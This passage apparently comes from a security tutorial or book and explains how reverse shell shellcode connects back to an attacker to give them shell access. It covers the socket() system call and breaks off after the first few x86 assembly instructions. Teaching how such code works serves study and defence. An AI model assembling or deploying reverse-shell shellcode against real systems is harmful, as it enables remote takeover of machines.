Reverse shell shellcode

The reverse shell shellcode is one of the most widely used types of shellcode. This shellcode connects to the attacker and provides them with a shell on the remote system to gain full access to the remote machine. For this to happen, the shellcode needs to follow these steps:

1. Create a socket: The shellcode needs to create a socket to connect to the internet. The system call that could be used for this purpose is socket. Here is the definition of this function:

int socket(int domain, int type, int protocol);

You will usually see it being used like this: socket( AF_INET, SOCK_STREAM, IPPROTO_IP);, where AF_INET represents most of the known internet protocols, including IPPROTO_IP for IP protocol. SOCK_STREAM is used to represent a TCP communication. From this system call, you can understand that this shellcode is communicating with the attacker through TCP. The assembly code looks like this:

xor edx,edx ;cleanup edx
push edx ;protocol=IPPROTO_IP (0x0)
push 0x1 ;socket_type...